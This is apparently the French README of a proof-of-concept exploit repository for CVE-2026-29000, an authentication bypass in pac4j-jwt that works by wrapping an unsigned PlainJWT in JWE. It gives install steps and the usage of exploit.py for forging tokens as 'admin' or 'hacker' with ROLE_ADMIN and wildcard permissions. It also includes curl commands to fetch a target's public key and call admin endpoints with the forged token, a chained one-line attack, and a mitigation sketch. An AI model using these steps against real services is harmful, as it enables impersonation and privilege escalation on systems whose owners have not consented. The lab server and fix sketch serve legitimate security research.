
Exploit pour CVE-2026-29000, un contournement d'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE, permettant la falsification de jetons et l'escalade de privilèges.
Contournement de l'authentification JWT dans pac4j-jwt via PlainJWT encapsulé en JWE
CVE-2026-29000 est une vulnérabilité critique de contournement de l'authentification affectant les versions de pac4j-jwt antérieures à 4.5.9, 5.7.9 et 6.3.3. La vulnérabilité permet à des attaquants distants de forger des jetons d'authentification et de contourner la vérification de signature.
La vulnérabilité existe dans le composant JwtAuthenticator lors du traitement des JWT chiffrés (JWE). Lorsqu'un jeton JWE est reçu :
exploit.py - Script d'exploitation Python pour générer des jetons malveillantsvulnerable_server.py - Serveur de démonstration simulant la vulnérabilitérequirements.txt - Dépendances PythonREADME.md - Ce fichier# Cloner le dépôt
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Installer les dépendances
pip3 install -r requirements.txt
python3 vulnerable_server.py
Le serveur va :
server_private.pem et server_public.pem)Dans un scénario d'attaque réel, obtenez la clé publique du serveur cible :
# Télécharger la clé publique depuis le point de terminaison JWKS
curl http://target-server.com/jwks > target_jwks.json
# Ou directement depuis le point de terminaison de la clé publique
curl http://target-server.com/public-key > target_public.pem
Pour le serveur de test :
curl http://127.0.0.1:5000/public-key > server_public.pem
Utilisez le script d'exploitation pour créer un PlainJWT encapsulé en JWE :
# Utilisation de base - s'authentifier en tant qu'administrateur
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# S'authentifier en tant qu'utilisateur spécifique avec plusieurs rôles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Ajouter des revendications personnalisées
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Enregistrer le jeton dans un fichier
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Définir le jeton malveillant (copier depuis la sortie de exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Accéder au point de terminaison public (devrait fonctionner)
curl http://127.0.0.1:5000/api/public
# Accéder au point de terminaison utilisateur avec le jeton malveillant (CONTOURNEMENT !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Accéder au point de terminaison administrateur avec le jeton malveillant (ÉLÉVATION DE PRIVILÈGES !)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Sortie attendue du point de terminaison administrateur :
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Installer les dépendances
pip3 install -r requirements.txt
# 2. Démarrer le serveur vulnérable (dans le terminal 1)
python3 vulnerable_server.py
# 3. Dans un nouveau terminal, obtenir la clé publique
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Générer un jeton administrateur malveillant
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Extraire le jeton dans une variable
TOKEN=$(cat token.txt)
# 6. Tester le point de terminaison public (référence - aucune authentification requise)
curl http://127.0.0.1:5000/api/public
# 7. Tester le point de terminaison utilisateur (devrait réussir avec notre jeton malveillant)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Tester le point de terminaison administrateur (SUCCÈS DE L'EXPLOIT - devrait accéder aux données restreintes)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Vérifier que la réponse contient le drapeau
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. Le client envoie un JWT avec signature
2. Le serveur vérifie la signature avec la clé publique
3. Si valide, extrait les revendications
4. Accorde l'accès en fonction des revendications
1. L'attaquant obtient la clé publique RSA du serveur
2. L'attaquant crée un PlainJWT (alg : none) avec des revendications arbitraires
Exemple : {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. L'attaquant chiffre le PlainJWT en utilisant JWE avec la clé publique du serveur
4. Le serveur déchiffre le JWE avec succès
5. Le serveur extrait les revendications du PlainJWT interne SANS vérification de signature
6. Le serveur accorde l'accès en fonction des revendications forgées
La vulnérabilité se produit parce que :
def verify_jwe_token_secure(token, private_key):
# 1. Déchiffrer le JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Analyser l'en-tête du JWT interne
header = parse_jwt_header(inner_jwt)
# 3. CRITIQUE : Vérifier que l'algorithme n'est pas « none »
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. CRITIQUE : Vérifier la signature du JWT interne
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Extraire les revendications uniquement après vérification
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user# Configuration et test en une seule ligne
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Licence MIT - À des fins éducatives uniquement
Chercheur en sécurité Date : 2026-03-16
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/adminFLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}